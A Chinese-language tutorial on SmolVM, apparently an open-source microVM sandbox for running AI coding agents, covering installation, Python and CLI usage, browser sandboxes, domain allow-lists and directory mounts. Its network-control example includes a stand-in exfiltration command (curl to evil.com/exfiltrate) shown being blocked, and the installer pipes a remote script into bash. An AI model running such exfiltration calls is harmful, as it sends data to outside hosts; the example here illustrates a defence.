SmolVM 完全指南：给 AI 编程 Agent 配一个专属沙箱

AI 编程 Agent（Claude Code、Codex、Cursor 等）正在改变我们的开发方式，但它们有一个共同的痛点——生成的代码该在哪里安全地运行？ 直接在本地跑怕搞坏环境，跑在 Docker 里又嫌启动慢、配置繁琐。

SmolVM 给出了一个优雅的答案：毫秒级启动的微型虚拟机。每个 Agent 拿到一个完全隔离的”一次性电脑”，跑完即焚，互不干扰。

什么是 SmolVM？

SmolVM 是 Celesto AI 开发的开源沙箱基础设施（Apache-2.0 许可证），为 AI Agent 提供硬件级别隔离的微虚拟机。它支持 Firecracker、QEMU 和 libkrun 三种后端，启动速度约 500 毫秒，比传统 VM 快了一个数量级。

核心能力一览：

• 子秒级启动——API 调用返回前 VM 已就绪
• 硬件隔离——每个沙箱有独立的虚拟化边界
• 网络控制——限制沙箱只能访问指定域名
• 浏览器沙箱——Agent 可在沙箱内启动完整浏览器
• 快照——随时暂停/恢复，状态完全保留
• 编码 Agent 一键集成——预装 Claude Code / Codex / Pi

快速上手

安装

一行命令完成安装和配置：

curl -sSL https://celesto.ai/install.sh | bash

或者用 pip 手动安装：

pip install smolvm
smolvm setup
smolvm doctor

Linux 系统在 smolvm setup 时可能需要 sudo 权限来安装内核依赖和配置运行时权限。

在 Python 中启动沙箱

from smolvm import SmolVM

vm = SmolVM()
result = vm.run("echo 'Hello from the sandbox!'")
print(result.stdout)
vm.stop()

就这么简单。三行代码启动了一个完全隔离的虚拟机，运行命令，然后关闭。

从 CLI 管理沙箱

smolvm sandbox create --name my-sandbox

smolvm sandbox list

smolvm sandbox shell my-sandbox

smolvm sandbox ssh my-sandbox

smolvm sandbox stop my-sandbox

浏览器沙箱——Agent 的”眼睛”

这是 SmolVM 最有特色的功能之一。你可以让 Agent 启动一个完整的浏览器沙箱——Agent 在里面导航网页、填写表单、截取屏幕截图，而你可以在自己的浏览器里实时观看。

from smolvm import SmolVM

with SmolVM.browser(headless=False) as browser:
    print(browser.cdp_url)      # Playwright 或 CDP 工具的自动化端点
    print(browser.viewer_url)   # 在你的浏览器中实时观看
    print(browser.display_url)  # VNC 连接地址（给 computer-use Agent）

从 CLI 启动也一样简洁：

smolvm browser start --live

三种模式可选：

• headless=True——仅自动化，无界面，提供 cdp_url
• headless=False——可见浏览器，提供 cdp_url + viewer_url + display_url
• SmolVM.desktop()——完整桌面，提供 viewer_url + display_url

网络控制——防止 Agent 乱打电话

默认情况下沙箱有完整的互联网访问权限。但你可以通过 internet_settings 精确限制沙箱能访问的域名：

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")   # ✅ 允许
vm.run("curl https://evil.com/exfiltrate")         # 🚫 被拦截

这在运行不可信代码时尤其有价值——Agent 生成的脚本无法私自对外发送数据。

挂载本地目录

让 Agent 直接操作你的项目文件，无需复制来复制去：

smolvm sandbox create --name my-sandbox --mount ~/Projects/my-app
smolvm sandbox shell my-sandbox
ls /workspace   # 你的项目文件在这里

默认是只读挂载——沙箱可以读取文件，但修改只存在于 VM 的 overlay 层，不会影响原始文件。需要写回时加上 --writable-mounts：

smolvm sandbox create --mount ~/Projects/my-app --writable-mounts

Python 中的等价操作：

from smolvm import SmolVM

with SmolVM(mounts=["~/Projects/my-app"], writable_mounts=True) as vm:
    vm.run("echo hello > /workspace/from-sandbox.txt")

编码 Agent 一键启动

SmolVM 为常见的 AI 编码 Agent 提供了预配置环境。一条命令就能启动一个预装了 Claude Code、Codex 或 Pi 的隔离沙箱，并自动配置好 Git 凭据：

smolvm codex start   # 启动预装 Codex 的沙箱
smolvm claude start  # 启动预装 Claude Code 的沙箱
smolvm pi start      # 启动预装 Pi 的沙箱

与其他框架集成

SmolVM 提供了完整的 Agent 框架集成示例，涵盖 OpenAI Agents SDK、LangChain 和 PydanticAI：

性能与安全

SmolVM 内置基准测试工具，衡量 AI Agent 真正关心的指标：冷启动时间、交互响应时间、暂停/恢复时间、快照创建/恢复时间。

uv run python scripts/benchmarks/bench.py

安全方面，SmolVM 在新沙箱首次连接时自动建立信任（保持配置简洁），但不建议公开暴露沙箱的网络端口而不加额外控制。完整的安全策略见项目 SECURITY.md。

适用场景

总结

SmolVM 解决了一个真实而频繁的痛点：AI Agent 生成的代码该在哪里安全地运行？ 它不是又一个笨重的虚拟机管理工具——500 毫秒的启动速度意味着 Agent 的每次操作都可以”即用即焚”。结合浏览器沙箱、网络控制和编码 Agent 一键启动，它让 AI 编码工作流既安全又高效。

对于正在使用或计划集成 AI 编码 Agent 的团队，SmolVM 是一个值得加入工具箱的基础设施层。

相关链接：

• SmolVM GitHub
• Celesto AI 文档
• SmolVM Quickstart